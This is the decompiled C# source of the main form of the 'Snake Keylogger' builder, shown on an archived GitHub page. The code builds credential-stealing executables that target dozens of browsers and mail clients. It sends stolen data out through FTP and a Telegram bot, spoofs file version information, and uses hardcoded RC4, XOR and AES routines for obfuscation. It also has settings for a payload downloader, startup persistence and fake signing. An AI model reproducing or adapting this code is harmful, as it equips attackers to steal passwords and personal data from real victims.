This repository has been archived by the owner on Mar 22, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathForm1.cs
2214 lines (2084 loc) · 86.6 KB
/
Form1.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using MetroSuite;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Snake_Keylogger.snakesystem;
namespace Snake_Keylogger
{
// Token: 0x02000011 RID: 17
public partial class Form1 : MetroForm
{
// Token: 0x0600008B RID: 139 RVA: 0x00006048 File Offset: 0x00004248
public Form1()
{
base.Load +=this.Form1_Load;
base.Resize +=this.Form1_Resize;
this.PASSWORD = "YrTVKTaWocPKgCyA - " + new Random().Next().ToString();
this.T = new Random();
this.RecoverMethodType = "";
this.Getter = "";
this.InitializeComponent();
}
// Token: 0x0600008C RID: 140 RVA: 0x000060D4 File Offset: 0x000042D4
public string GetRandomString(int iLength)
{
string text = "";
Random random = new Random();
checked
{
for (int i = 1; i <= iLength; i++)
{
text += Conversions.ToString(Strings.ChrW(random.Next(0x20, 0x7E)));
}
return text;
}
}
// Token: 0x0600008D RID: 141 RVA: 0x0000612C File Offset: 0x0000432C
public object RandomStringa()
{
string text = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Random random = new Random();
StringBuilder stringBuilder = new StringBuilder();
int num = 1;
checked
{
do
{
int num2 = random.Next(0, 0x23);
stringBuilder.Append(text.Substring(num2, 1));
num++;
}
while (num <= 8);
return stringBuilder.ToString();
}
}
// Token: 0x0600008E RID: 142 RVA: 0x00006188 File Offset: 0x00004388
public string RandomString()
{
string text = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string text2 = text;
StringBuilder stringBuilder = new StringBuilder();
int num = Convert.ToInt32(this.sizepumpernum.Value);
checked
{
for (int i = 1; i <= num; i++)
{
int num2 =this.T.Next(0, 0xB1);
stringBuilder.Append(text2.Substring(num2, 1));
}
return stringBuilder.ToString();
}
}
// Token: 0x0600008F RID: 143 RVA: 0x00006200 File Offset: 0x00004400
public object RandomGeneratorumber()
{
VBMath.Randomize();
float num = Conversion.Int(-230f * VBMath.Rnd()) + 260f;
return num;
}
// Token: 0x06000090 RID: 144 RVA: 0x00006238 File Offset: 0x00004438
public object RandomGenerator()
{
VBMath.Randomize();
float num = Conversion.Int(9f * VBMath.Rnd()) + 1f;
return num;
}
// Token: 0x06000091 RID: 145 RVA: 0x00006270 File Offset: 0x00004470
public byte[] RC4Encrypt(byte[] A6, string A7)
{
byte[] bytes = Encoding.BigEndianUnicode.GetBytes(A7);
uint[] array = new uint[0x100];
checked
{
byte[] array2 = new byte[A6.Length - 1 + 1 - 1 + 1];
uint num = 0U;
uint num2;
uint num3;
do
{
array[(int)num] = num;
num += 1U;
num2 = num;
num3 = 0xFFU;
}
while (num2 <= num3);
num = 0U;
uint num4 = 0;
uint num6 = 0;
do
{
num4 = (uint)(unchecked((ulong)(checked(num4 + (uint)bytes[(int)(unchecked((ulong)num) % (ulong)(unchecked((long)bytes.Length)))] + array[(int)num]))) & 0xFFUL);
uint num5 = array[(int)num];
array[(int)num] = array[(int)num4];
array[(int)num4] = num5;
num += 1U;
num6 = num;
num3 = 0xFFU;
}
while (num6 <= num3);
num = 0U;
num4 = 0U;
int num7 = 0;
int num8 = array2.Length - 1;
int num9 = num7;
for (;;)
{
int num10 = num9;
int num11 = num8;
bool flag = num10 > num11;
if (flag)
{
break;
}
num = (uint)((unchecked((ulong)num) + 1UL) & 0xFFUL);
num4 = (uint)(unchecked((ulong)(checked(num4 + array[(int)num]))) & 0xFFUL);
uint num12 = array[(int)num];
array[(int)num] = array[(int)num4];
array[(int)num4] = num12;
array2[num9] = (byte)((uint)A6[num9] ^ array[(int)(unchecked((ulong)(checked(array[(int)num] + array[(int)num4]))) & 0xFFUL)]);
num9++;
}
return array2;
}
}
// Token: 0x06000092 RID: 146 RVA: 0x000063E0 File Offset: 0x000045E0
public byte[] XOREncrypt(byte[] up, string BB2)
{
byte[] bytes = Encoding.BigEndianUnicode.GetBytes(BB2);
VBMath.Randomize();
checked
{
int num = (int)Math.Round(Math.Round((double)(unchecked(Conversion.Int(256f * VBMath.Rnd()) + 1f))));
byte[] array = new byte[up.Length + 1 - 1 + 1];
int num2 = 0;
int num3 = up.Length - 1;
int num4 = num2;
for (;;)
{
int num5 = num4;
int num6 = num3;
bool flag = num5 > num6;
if (flag)
{
break;
}
byte[] array2 = array;
byte[] array3 = array2;
int num7 = num4;
int num8 = 0;
array3[num7] = (byte)((int)array2[num7] + ((int)(up[num4] ^ bytes[num8]) ^ num));
bool flag2 = num8 == BB2.Length - 1;
bool flag3 = flag2;
if (flag3)
{
num8 = 0;
}
else
{
num8++;
}
num4++;
}
array[up.Length] = (byte)(0x70 ^ num);
return array;
}
}
// Token: 0x06000093 RID: 147 RVA: 0x000064D0 File Offset: 0x000046D0
public string Decrypt(string cipherText)
{
string text = "kamskams";
string text2 = "kwkwkwkwkwkwkwkw";
int num = 2;
string text3 = "@1B2c3DEWE4e5F6g7H8";
int num2 = 0x100;
byte[] bytes = Encoding.ASCII.GetBytes(text3);
byte[] bytes2 = Encoding.ASCII.GetBytes(text2);
byte[] array = Convert.FromBase64String(cipherText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(text, bytes2, num);
byte[] bytes3 = rfc2898DeriveBytes.GetBytes(num2 / 8);
ICryptoTransform cryptoTransform = new RijndaelManaged
{
Mode = CipherMode.CBC
}.CreateDecryptor(bytes3, bytes);
MemoryStream memoryStream = new MemoryStream(array);
CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read);
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
int num3 = cryptoStream.Read(array2, 0, array2.Length);
memoryStream.Close();
cryptoStream.Close();
return Encoding.UTF8.GetString(array2, 0, num3);
}
// Token: 0x06000094 RID: 148 RVA: 0x000065C0 File Offset: 0x000047C0
public string Encrypt(string plainText)
{
string text = "kamskams";
string text2 = "kwkwkwkwkwkwkwkw";
int num = 2;
string text3 = "@1B2c3DEWE4e5F6g7H8";
int num2 = 0x100;
byte[] bytes = Encoding.ASCII.GetBytes(text3);
byte[] bytes2 = Encoding.ASCII.GetBytes(text2);
byte[] bytes3 = Encoding.UTF8.GetBytes(plainText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(text, bytes2, num);
byte[] bytes4 = rfc2898DeriveBytes.GetBytes(num2 / 8);
ICryptoTransform cryptoTransform = new RijndaelManaged
{
Mode = CipherMode.CBC
}.CreateEncryptor(bytes4, bytes);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write);
cryptoStream.Write(bytes3, 0, bytes3.Length);
cryptoStream.FlushFinalBlock();
byte[] array = memoryStream.ToArray();
memoryStream.Close();
cryptoStream.Close();
return Convert.ToBase64String(array);
}
// Token: 0x06000095 RID: 149 RVA: 0x000066AC File Offset: 0x000048AC
public static byte[] enxrypt(byte[] bytData, string sKey, CipherMode tMode = CipherMode.ECB, PaddingMode tPadding = PaddingMode.PKCS7)
{
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(sKey));
md5CryptoServiceProvider.Clear();
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = array;
tripleDESCryptoServiceProvider.Mode = tMode;
tripleDESCryptoServiceProvider.Padding = tPadding;
ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateEncryptor();
byte[] array2 = cryptoTransform.TransformFinalBlock(bytData, 0, bytData.Length);
tripleDESCryptoServiceProvider.Clear();
return array2;
}
// Token: 0x06000096 RID: 150 RVA: 0x00006720 File Offset: 0x00004920
public string zara(string input)
{
StringBuilder stringBuilder = new StringBuilder();
int i = 0;
int length = input.Length;
checked
{
while (i < length)
{
char c = input[i];
stringBuilder.Append((Strings.Asc(c) + 0x138).ToString() + " ");
i++;
}
return stringBuilder.ToString().Substring(0, stringBuilder.Length - 1);
}
}
// Token: 0x06000097 RID: 151 RVA: 0x000067A4 File Offset: 0x000049A4
public static byte[] GZip(byte[] byte_0)
{
using (MemoryStream memoryStream = new MemoryStream())
{
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
{
gzipStream.Write(byte_0, 0, byte_0.Length);
gzipStream.Close();
byte_0 = new byte[checked(memoryStream.ToArray().Length - 1 + 1 - 1 + 1 - 1 - 1 + 1)];
byte_0 = memoryStream.ToArray();
}
memoryStream.Close();
}
return byte_0;
}
// Token: 0x06000098 RID: 152 RVA: 0x0000685C File Offset: 0x00004A5C
public string random(int Lenght, string CustomCharacters = "FהоWהرY吉خiRرウ开XъدcOбDWحUATה弗هזجbUזоזدOجиUیZجعUPشYהвلcYىトهFWcMخخiRحPزAه\u200cNдコNWWTתFeجZDPLظW吉عهהSоVUiRъفلQ弗הعTFזفдQウRQXPдеشFحSKNASVFQدOFזءA吉DזеةاiLOеAebcFحコYдا私gLהトوAдدQKزזحбLخظةZウیWفخعUءKcءیJهトウתظهزъءSوQcזKת开AウbFMروZو开ۆXVحNМههiوתحKزתلUY开ъXJKPcUコرоرجXOSUNMъז吉Nخء开gJеcתбPתخNъ开NFهTجKFМAVعدرвXدזHOHHPJدתJSشTLYعקоخgトVدcהDZהHбYKJXbהZVRزدىеウدLKOوAciعRJTLفתDخ弗הNفi\u200cةJعвZiعъ私اOKDTK吉HHPiدNهLNМOicLNد\u200cъNeVYءAAウהYW")
{
VBMath.Randomize();
StringBuilder stringBuilder = new StringBuilder();
StringBuilder stringBuilder2 = stringBuilder;
checked
{
for (int i = 1; i <= Lenght; i++)
{
VBMath.Randomize();
int num = (int)Math.Round((double)(unchecked(Conversion.Int((float)(checked(CustomCharacters.ToCharArray().Length - 2 - 0 + 1)) * VBMath.Rnd()) + 1f)));
stringBuilder2.Append(CustomCharacters[num]);
}
return stringBuilder2.ToString();
}
}
// Token: 0x06000099 RID: 153 RVA: 0x000068DC File Offset: 0x00004ADC
private void Display_Description(string Name, string comversion)
{
try
{
Application.DoEvents();
bool flag = File.Exists(Application.StartupPath + "\\res.exe");
if (flag)
{
File.Delete(Application.StartupPath + "\\res.exe");
}
Thread.Sleep(0xA);
File.WriteAllBytes(Application.StartupPath + "\\res.exe", Properties.Resources.Res);
Thread.Sleep(0xA);
string text = Properties.Resources.AssemblyReverser;
VBCodeProvider vbcodeProvider = new VBCodeProvider(new Dictionary<string, string> { { "CompilerVersion", comversion } });
CompilerParameters compilerParameters = new CompilerParameters();
CompilerParameters compilerParameters2 = compilerParameters;
compilerParameters2.GenerateExecutable = true;
compilerParameters2.OutputAssembly = Application.StartupPath + "\\" +this.T1.Text + ".exe";
compilerParameters2.CompilerOptions = "/target:winexe";
compilerParameters2.ReferencedAssemblies.Add("System.dll");
compilerParameters2.ReferencedAssemblies.Add("dll");
compilerParameters2.MainClass = "X";
text = text.Replace("*Title*",this.T1.Text);
text = text.Replace("*Description*",this.T2.Text);
text = text.Replace("*Company*",this.T3.Text);
text = text.Replace("*Product*",this.T4.Text);
text = text.Replace("*Copyright*",this.T5.Text);
text = text.Replace("*version*", string.Concat(new string[]
{
this.N1.Value.ToString(),
".",
this.N2.Value.ToString(),
".",
this.N3.Value.ToString(),
".",
this.N4.Value.ToString()
}));
CompilerResults compilerResults = vbcodeProvider.CompileAssemblyFromSource(compilerParameters, new string[] { text });
string text2 = Application.StartupPath + "\\" +this.T1.Text + ".exe";
string text3 = Application.StartupPath + "\\" +this.T1.Text + ".res";
Interaction.Shell(string.Concat(new string[] { "res.exe -extract ", text2, ",", text3, ",VERSIONINFO,," }), AppWinStyle.Hide, true, -1);
Interaction.Shell(string.Concat(new string[]
{
"res.exe -delete ",
Name,
",",
AppDomain.CurrentDomain.BaseDirectory,
"res.exe,VERSIONINFO,,"
}), AppWinStyle.Hide, true, -1);
Interaction.Shell(string.Concat(new string[] { "res.exe -addoverwrite ", Name, ",", Name, ",", text3, ",VERSIONINFO,1," }), AppWinStyle.Hide, true, -1);
Interaction.Shell("res.exe -delete " + Name + ",VERSIONINFO,,", AppWinStyle.Hide, true, -1);
Thread.Sleep(0x7D0);
if (File.Exists(Application.StartupPath + "\\" +this.T1.Text + ".exe")) { File.Delete(Application.StartupPath + "\\" +this.T1.Text + ".exe"); }
if (File.Exists(Application.StartupPath + "\\" +this.T1.Text + ".res")) { File.Delete(Application.StartupPath + "\\" +this.T1.Text + ".res"); }
if (File.Exists(Application.StartupPath + "\\res.exe")) { File.Delete(Application.StartupPath + "\\res.exe"); }
if (File.Exists(Application.StartupPath + "\\res.log")) { File.Delete(Application.StartupPath + "\\res.log"); }
if (File.Exists(Application.StartupPath + "\\res.ini")) { File.Delete(Application.StartupPath + "\\res.ini"); }
}
catch { Interaction.MsgBox("Error : A Mistake In Changing Server Description", MsgBoxStyle.Critical, "Information"); }
}
// Token: 0x0600009A RID: 154 RVA: 0x00006E1C File Offset: 0x0000501C
private void AddRecoveries()
{
string text = Properties.Resources.StubOne;
bool @checked =this.chromec.Checked;
if (@checked)
{
text = text.Replace("'$&Chrome&$", null);
}
bool checked2 =this.filezillac.Checked;
if (checked2)
{
text = text.Replace("'$&filezilla&$", null);
}
bool checked3 =this.operac.Checked;
if (checked3)
{
text = text.Replace("'$&opera&$", null);
}
bool checked4 =this.firefoxc.Checked;
if (checked4)
{
text = text.Replace("'$&firefox&$", null);
}
bool checked5 =this.epicc.Checked;
if (checked5)
{
text = text.Replace("'$&epic&$", null);
}
bool checked6 =this.blisk.Checked;
if (checked6)
{
text = text.Replace("'$&blisk&$", null);
}
bool checked7 =this.ucc.Checked;
if (checked7)
{
text = text.Replace("'$&uc&$", null);
}
bool checked8 =this.torchc.Checked;
if (checked8)
{
text = text.Replace("'$&torch&$", null);
}
bool checked9 =this.brave.Checked;
if (checked9)
{
text = text.Replace("'$&brave&$", null);
}
bool checked10 =this.outlookc.Checked;
if (checked10)
{
text = text.Replace("'$&Outlook&$", null);
}
bool checked11 =this.foxmailc.Checked;
if (checked11)
{
text = text.Replace("'$&Foxmail&$", null);
}
bool checked12 =this.thunderbirdc.Checked;
if (checked12)
{
text = text.Replace("'$&thunderbird&$", null);
}
bool checked13 =this.qqc.Checked;
if (checked13)
{
text = text.Replace("'$&QQ&$", null);
}
bool checked14 =this.orbitumc.Checked;
if (checked14)
{
text = text.Replace("'$&orbitum&$", null);
}
bool checked15 =this.irudiumc.Checked;
if (checked15)
{
text = text.Replace("'$&iridum&$", null);
}
bool checked16 =this.Slimjetc.Checked;
if (checked16)
{
text = text.Replace("'$&slimjet&$", null);
}
bool checked17 =this.vivaldic.Checked;
if (checked17)
{
text = text.Replace("'$&vivaldi&$", null);
}
bool checked18 =this.ironc.Checked;
if (checked18)
{
text = text.Replace("'$&iron&$", null);
}
bool checked19 =this.Ghostc.Checked;
if (checked19)
{
text = text.Replace("'$&ghost&$", null);
}
bool checked20 =this.centc.Checked;
if (checked20)
{
text = text.Replace("'$¢&$", null);
}
bool checked21 =this.xvastc.Checked;
if (checked21)
{
text = text.Replace("'$&xVast&$", null);
}
bool checked22 =this.superbirdc.Checked;
if (checked22)
{
text = text.Replace("'$&Superbird&$", null);
}
bool checked23 =this.coccocc.Checked;
if (checked23)
{
text = text.Replace("'$&CocCoc&$", null);
}
bool checked24 =this.seamonkeyc.Checked;
if (checked24)
{
text = text.Replace("'$&seamonkey&$", null);
}
bool checked25 =this.sic.Checked;
if (checked25)
{
text = text.Replace("'$&360English&$", null).Replace("'$&360China&$", null);
}
bool checked26 =this.comodoc.Checked;
if (checked26)
{
text = text.Replace("'$&comodo&$", null);
}
bool checked27 =this.icedragonc.Checked;
if (checked27)
{
text = text.Replace("'$&icedragon&$", null);
}
bool checked28 =this.cyberfoxc.Checked;
if (checked28)
{
text = text.Replace("'$&cyberfox&$", null);
}
bool checked29 =this.chromeiumc.Checked;
if (checked29)
{
text = text.Replace("'$&chromium&$", null);
}
bool checked30 =this.palemoonc.Checked;
if (checked30)
{
text = text.Replace("'$&palemoon&$", null);
}
bool checked31 =this.chedotc.Checked;
if (checked31)
{
text = text.Replace("'$&Chedot&$", null);
}
bool checked32 =this.lieboac.Checked;
if (checked32)
{
text = text.Replace("'$&liebao&$", null);
}
bool checked33 =this.pidginc.Checked;
if (checked33)
{
text = text.Replace("'$&pidgin&$", null);
}
bool checked34 =this.avastc.Checked;
if (checked34)
{
text = text.Replace("'$&avast&$", null);
}
bool checked35 =this.amigo.Checked;
if (checked35)
{
text = text.Replace("'$&Amigo&$", null);
}
bool checked36 =this.xpomc.Checked;
if (checked36)
{
text = text.Replace("'$&Xpom&$", null);
}
bool checked37 =this.kometac.Checked;
if (checked37)
{
text = text.Replace("'$&Kometa&$", null);
}
bool checked38 =this.nichromec.Checked;
if (checked38)
{
text = text.Replace("'$&Nichrome&$", null);
}
bool checked39 =this.waterfoxc.Checked;
if (checked39)
{
text = text.Replace("'$&WaterFox&$", null);
}
bool checked40 =this.kinzac.Checked;
if (checked40)
{
text = text.Replace("'$&Kinzaa&$", null);
}
bool checked41 =this.sputnikc.Checked;
if (checked41)
{
text = text.Replace("'$&Sputnik&$", null);
}
bool checked42 =this.falkonc.Checked;
if (checked42)
{
text = text.Replace("'$&Falkon&$", null);
}
bool checked43 =this.postboxc.Checked;
if (checked43)
{
text = text.Replace("'$&PostBox&$", null);
}
bool checked44 =this.blackhawkc.Checked;
if (checked44)
{
text = text.Replace("'$&BlackHawk&$", null);
}
bool checked45 =this.citrioc.Checked;
if (checked45)
{
text = text.Replace("'$&Citrio&$", null);
}
bool checked46 =this.uranc.Checked;
if (checked46)
{
text = text.Replace("'$&Uran&$", null);
}
bool checked47 =this.coowonc.Checked;
if (checked47)
{
text = text.Replace("'$&Coowon&$", null);
}
bool checked48 =this.startc.Checked;
if (checked48)
{
text = text.Replace("'$&7Star&$", null);
}
bool checked49 =this.qipsurfc.Checked;
if (checked49)
{
text = text.Replace("'$&QIPSurf&$", null);
}
bool checked50 =this.sleipnirc.Checked;
if (checked50)
{
text = text.Replace("'$&Sleipnir&$", null);
}
bool checked51 =this.canaryc.Checked;
if (checked51)
{
text = text.Replace("'$&ChromeCanary&$", null);
}
bool checked52 =this.coolnovoc.Checked;
if (checked52)
{
text = text.Replace("'$&CoolNovo&$", null);
}
bool checked53 =this.icedragonc.Checked;
if (checked53)
{
text = text.Replace("'$&IceCat&$", null);
}
bool checked54 =this.slimc.Checked;
if (checked54)
{
text = text.Replace("'$&TheSlimRecovery&$", null);
}
}
// Token: 0x0600009B RID: 155 RVA: 0x00007608 File Offset: 0x00005808
public void FtpUploadFile()
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), Conversions.ToString(Operators.AddObject(this.PASSWORD, ".txt")));
StreamWriter streamWriter = new StreamWriter(text);
streamWriter.WriteLine("Snake Keylogger - Test Successfully.");
streamWriter.Close();
StreamReader streamReader = new StreamReader(text);
byte[] bytes = Encoding.UTF8.GetBytes(streamReader.ReadToEnd());
streamReader.Close();
FtpWebRequest ftpWebRequest = (FtpWebRequest)NewLateBinding.LateGet(null, typeof(WebRequest), "Create", new object[] { Operators.AddObject(Operators.AddObject(this.ftpurltxt.Text + "Snake Keylogger - ",this.PASSWORD), ".txt") }, null, null, null);
try
{
ftpWebRequest.Method = "STOR";
ftpWebRequest.Credentials = new NetworkCredential(this.ftpusertxt.Text,this.ftppasstxt.Text);
byte[] array = File.ReadAllBytes(text);
ftpWebRequest.ContentLength = (long)array.Length;
using (Stream requestStream = ftpWebRequest.GetRequestStream())
{
requestStream.Write(array, 0, array.Length);
requestStream.Close();
File.Delete(text);
}
}
catch (Exception ex)
{
MessageBox.Show("Test Failed, " + ex.Message);
return;
}
Interaction.MsgBox("Test Successfully.", MsgBoxStyle.OkOnly, null);
}
// Token: 0x0600009C RID: 156 RVA: 0x000077D0 File Offset: 0x000059D0
public void telegramsender(string tokennns, string urrid, string msg)
{
try
{
string text = string.Concat(new string[] { "https://api.telegram.org/bot", tokennns, "/sendMessage?chat_id=", urrid, "&text=", msg });
ServicePointManager.Expect100Continue = false;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text);
string text2 = string.Empty;
try
{
WebResponse response = httpWebRequest.GetResponse();
using (Stream responseStream = response.GetResponseStream())
{
StreamReader streamReader = new StreamReader(responseStream, Encoding.UTF8);
streamReader.ReadToEnd();
}
}
catch (WebException ex)
{
text2 = ex.Message.ToString();
Interaction.MsgBox(Information.Err(), MsgBoxStyle.OkOnly, null);
WebResponse response2 = ex.Response;
using (Stream responseStream2 = response2.GetResponseStream())
{
StreamReader streamReader2 = new StreamReader(responseStream2, Encoding.GetEncoding("utf-8"));
string text3 = streamReader2.ReadToEnd();
}
throw;
}
}
catch { }
}
// Token: 0x0600009D RID: 157 RVA: 0x0000797C File Offset: 0x00005B7C
public static void Compilers(string Output, string cSource)
{
VBCodeProvider vbcodeProvider = new VBCodeProvider();
CompilerParameters compilerParameters = new CompilerParameters();
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Output;
compilerParameters.ReferencedAssemblies.Add("System.dll");
compilerParameters.ReferencedAssemblies.Add("System.Data.dll");
compilerParameters.ReferencedAssemblies.Add("dll");
compilerParameters.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
compilerParameters.ReferencedAssemblies.Add("System.Xml.dll");
compilerParameters.ReferencedAssemblies.Add("System.Drawing.dll");
compilerParameters.ReferencedAssemblies.Add("System.Reflection.dll");
compilerParameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
compilerParameters.ReferencedAssemblies.Add("System.IO.dll");
compilerParameters.ReferencedAssemblies.Add("System.Security.dll");
compilerParameters.ReferencedAssemblies.Add("System.Web.Extensions.dll");
compilerParameters.ReferencedAssemblies.Add("System.Management.dll");
MetroTextbox metroTextbox;
(metroTextbox = CodeVest.mainForm.buildprocesstxt).Text = metroTextbox.Text + "\r\n\r\nChecking Featuresthis..";
compilerParameters.CompilerOptions = "/platform:X86 /target:winexe /nowarn";
compilerParameters.IncludeDebugInformation = false;
(metroTextbox = CodeVest.mainForm.buildprocesstxt).Text = metroTextbox.Text + "\r\n\r\nChecking for Problemsthis..";
CompilerResults compilerResults = vbcodeProvider.CompileAssemblyFromSource(compilerParameters, new string[] { cSource });
bool flag = compilerResults.Errors.Count > 0;
if (flag)
{
try
{
foreach (object obj in compilerResults.Errors)
{
object objectValue = RuntimeHelpers.GetObjectValue(obj);
MessageBox.Show(Conversions.ToString(Operators.ConcatenateObject("ERROR: ", NewLateBinding.LateGet(objectValue, null, "errorText", new object[0], null, null, null))), "", MessageBoxButtons.OK, MessageBoxIcon.Hand);
(metroTextbox = CodeVest.mainForm.buildprocesstxt).Text = Conversions.ToString(Operators.AddObject(metroTextbox.Text, Operators.ConcatenateObject("\r\nError: ", NewLateBinding.LateGet(objectValue, null, "errorText", new object[0], null, null, null))));
}
}
finally
{
}
}
else
{
bool flag2 = compilerResults.Errors.Count == 0;
if (flag2)
{
(metroTextbox = CodeVest.mainForm.buildprocesstxt).Text = metroTextbox.Text + "\r\n\r\nFile Built.";
}
}
}
// Token: 0x0600009E RID: 158 RVA: 0x00002378 File Offset: 0x00000578
private void Form1_Load(object sender, EventArgs e)
{
this.buildprocesstxt.Text = Properties.Resources.N;
}
// Token: 0x0600009F RID: 159 RVA: 0x00002331 File Offset: 0x00000531
private void MetroTextbox2_TextChanged(object sender, EventArgs e)
{
}
// Token: 0x060000A0 RID: 160 RVA: 0x00007C4C File Offset: 0x00005E4C
private void sizepumperc_CheckedChanged(object sender, bool isChecked) { this.sizepumpercombo.Enabled = this.sizepumpernum.Enabled = this.sizepumperc.Checked; }
// Token: 0x060000A1 RID: 161 RVA: 0x00007CA8 File Offset: 0x00005EA8
private void delayc_CheckedChanged(object sender, bool isChecked)
{
this.delaynum.Enabled = this.delayc.Checked;
}
// Token: 0x060000A2 RID: 162 RVA: 0x00007CEC File Offset: 0x00005EEC
private void downloaderc_CheckedChanged(object sender, bool isChecked)
{
this.downloadernametxt.Enabled = this.downloaderurltxt.Enabled = this.downloaderc.Checked;
}
// Token: 0x060000A3 RID: 163 RVA: 0x00007D48 File Offset: 0x00005F48
private void digitialsignc_CheckedChanged(object sender, bool isChecked)
{
this.digitaltxt.Enabled = this.selectdigitalbtn.Enabled = this.digitialsignc.Checked;
}
// Token: 0x060000A4 RID: 164 RVA: 0x00007DA4 File Offset: 0x00005FA4
private void startupc_CheckedChanged(object sender, bool isChecked)
{
this.startupnametxt.Enabled = this.copystartupc.Enabled = this.startupc.Checked;
}
// Token: 0x060000A5 RID: 165 RVA: 0x00007E10 File Offset: 0x00006010
